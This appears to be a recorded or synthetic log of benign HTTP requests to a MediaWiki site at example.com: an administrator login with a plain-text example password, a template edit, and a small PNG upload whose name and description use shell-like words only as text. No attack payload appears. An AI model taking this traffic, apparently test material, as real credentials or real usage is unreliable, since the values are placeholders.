{"method": "GET", "target": "/load.php?lang=en&modules=jquery%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1iuh6", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Special:UserLogin&returnto=Main+Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6h07mueara4v6llhjv03serk692mujhm"], "body": ""}
{"method": "GET", "target": "/resources/src/mediawiki.special.userlogin.login.styles/images/glyph-people-large.png?707d6", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6h07mueara4v6llhjv03serk692mujhm"], "body": ""}
{"method": "POST", "target": "/index.php?title=Special:UserLogin&returnto=Main+Page", "headers": ["Host: example.com", "Content-Length: 192", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:UserLogin&returnto=Main+Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6h07mueara4v6llhjv03serk692mujhm"], "body": "title=Special%3AUserLogin&wpName=Admin&wpPassword=Example-pass-2026&wploginattempt=Log+in&wpEditToken=%2B%5C&authAction=login&force=&wpLoginToken=88e959f6bfc57bbe13b3ae15000362c26af22671%2B%5C"}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Csite%7Cjquery.chosen%2Cclient%2Cconfirmable%2ClengthLimit%2Cspinner%7Cjquery.spinner.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cmisc-authed-curate%2Cstorage%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=4w1ib", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=watchlist&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=userAvatar&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=settings&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=logOut&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/index.php?title=Template:Infobox&action=edit", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.action.edit.styles%7Cmediawiki.codex.messagebox.styles%7Cmediawiki.editfont.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Template:Infobox&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Csite%7Cjquery.client%2ClengthLimit%2CmakeCollapsible%2CtextSelection%7Cjquery.makeCollapsible.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2CconfirmCloseWindow%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.action.edit%7Cmediawiki.action.edit.collapsibleFooter%2CeditWarning%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.widgets.visibleLengthLimit%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1w3uh", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Template:Infobox&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 511", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Template:Infobox&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": "action=stashedit&format=json&formatversion=2&title=Template%3AInfobox&section=&sectiontitle=&summary=&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%3Cincludeonly%3E%7B%7C+class%3D%22infobox%22%0A!+%7B%7B%7Bname%7C%7B%7BPAGENAME%7D%7D%7D%7D%7D%0A%7C-%0A%7C+%5B%5BFile%3A%7B%7B%7Bimage%7D%7D%7D%7C200px%5D%5D%0A%7C%7D%3C%2Fincludeonly%3E%3Cnoinclude%3EUsage%3A+%3Cnowiki%3E%7B%7BInfobox%7Cname%3D...%7D%7D%3C%2Fnowiki%3E%3C%2Fnoinclude%3E&token=46425d33c8b524405843812af83725be6af22671%2B%5C"}
{"method": "POST", "target": "/index.php?title=Template:Infobox&action=submit", "headers": ["Host: example.com", "Content-Length: 2245", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryp4WNOE42QTlZ0sfO", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Template:Infobox&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": "------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200049\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200049\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n0\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n<includeonly>{| class=\"infobox\"\r\n! {{{name|{{PAGENAME}}}}}\r\n|-\r\n| [[File:{{{image}}}|200px]]\r\n|}</includeonly><noinclude>Usage: <nowiki>{{Infobox|name=...}}</nowiki></noinclude>\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nInfobox template\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpSave\"\r\n\r\nSave page\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n46425d33c8b524405843812af83725be6af22671+\\\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ntext\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO--\r\n"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 289", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Template:Infobox&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": "action=stashedit&format=json&formatversion=2&title=Template%3AInfobox&section=&sectiontitle=&summary=Infobox+template&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&stashedtexthash=fa87f1b7d1dfe2c860f1821e9e4d9d446ef78923&token=46425d33c8b524405843812af83725be6af22671%2B%5C"}
{"method": "GET", "target": "/wiki/Template:Infobox", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Template:Infobox&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiPostEditRevision2=created; cpPosIndex=1%401794254450%23153252fac0b4fff55405e90957449430; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Csite%7Cjquery.client%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cnotification%2Cstorage%2CtempUserCreated%2Cuser%2Cutil%2CvisibleTimeout%7Cmediawiki.action.view.postEdit%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.icons-interactions%2Cindicators%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=6zwhv", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Template:Infobox", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794254450%23153252fac0b4fff55405e90957449430; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=unStar&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794254450%23153252fac0b4fff55405e90957449430; UseDC=master"], "body": ""}
{"method": "GET", "target": "/wiki/Special:Upload", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794254450%23153252fac0b4fff55405e90957449430; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%2Cspecial%7Cmediawiki.htmlform.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794254450%23153252fac0b4fff55405e90957449430; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Csite%7Cjquery.client%2ClengthLimit%2Cspinner%7Cjquery.spinner.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2CconfirmCloseWindow%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Ctemplate%2Cuser%2Cutil%7Cmediawiki.libs.jpegmeta%2Cpluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.upload%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1mpuf", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794254450%23153252fac0b4fff55405e90957449430; UseDC=master"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&format=json&formatversion=2&titles=File%3APic.png&prop=imageinfo&iiprop=uploadwarning&errorformat=html&errorlang=en", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794254450%23153252fac0b4fff55405e90957449430; UseDC=master"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&format=json&formatversion=2&titles=File%3APic%20python3.png&prop=imageinfo&iiprop=uploadwarning&errorformat=html&errorlang=en", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794254450%23153252fac0b4fff55405e90957449430; UseDC=master"], "body": ""}
{"method": "POST", "target": "/wiki/Special:Upload", "headers": ["Host: example.com", "Content-Length: 1190", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKLskNzhkAu9rYahb", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794254450%23153252fac0b4fff55405e90957449430; UseDC=master"], "body": "------WebKitFormBoundaryKLskNzhkAu9rYahb\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nSpecial:Upload\r\n------WebKitFormBoundaryKLskNzhkAu9rYahb\r\nContent-Disposition: form-data; name=\"wpUploadFile\"; filename=\"pic.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0002\u0000\u0000\u0000\ufffdwS\ufffd\u0000\u0000\u0000\fIDATx\ufffdc\ufffd\ufffd\ufffd\u0000\u0000\u0003\u0001\u0001\u0000\ufffd\ufffd\ufffd\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffd\r\n------WebKitFormBoundaryKLskNzhkAu9rYahb\r\nContent-Disposition: form-data; name=\"wpDestFile\"\r\n\r\nPic python3.png\r\n------WebKitFormBoundaryKLskNzhkAu9rYahb\r\nContent-Disposition: form-data; name=\"wpUploadDescription\"\r\n\r\nA picture for python3, powershell, ls -la and .htaccess notes\r\n------WebKitFormBoundaryKLskNzhkAu9rYahb\r\nContent-Disposition: form-data; name=\"wpLicense\"\r\n\r\n\r\n------WebKitFormBoundaryKLskNzhkAu9rYahb\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n1\r\n------WebKitFormBoundaryKLskNzhkAu9rYahb\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n1e44643bf316cfdeb7476623a1042ab96af22672+\\\r\n------WebKitFormBoundaryKLskNzhkAu9rYahb\r\nContent-Disposition: form-data; name=\"wpDestFileWarningAck\"\r\n\r\n\r\n------WebKitFormBoundaryKLskNzhkAu9rYahb\r\nContent-Disposition: form-data; name=\"wpUpload\"\r\n\r\nUpload file\r\n------WebKitFormBoundaryKLskNzhkAu9rYahb--\r\n"}
{"method": "GET", "target": "/wiki/File:Pic_python3.png", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=filepage%7Cmediawiki.action.view.filepage%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/File:Pic_python3.png", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/images/e/e3/Pic_python3.png?_=20261109200050", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/wiki/File:Pic_python3.png", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/resources/src/mediawiki.action/images/checker.svg?ff513", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=filepage%7Cmediawiki.action.view.filepage%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Lighthouse_notes&action=edit", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
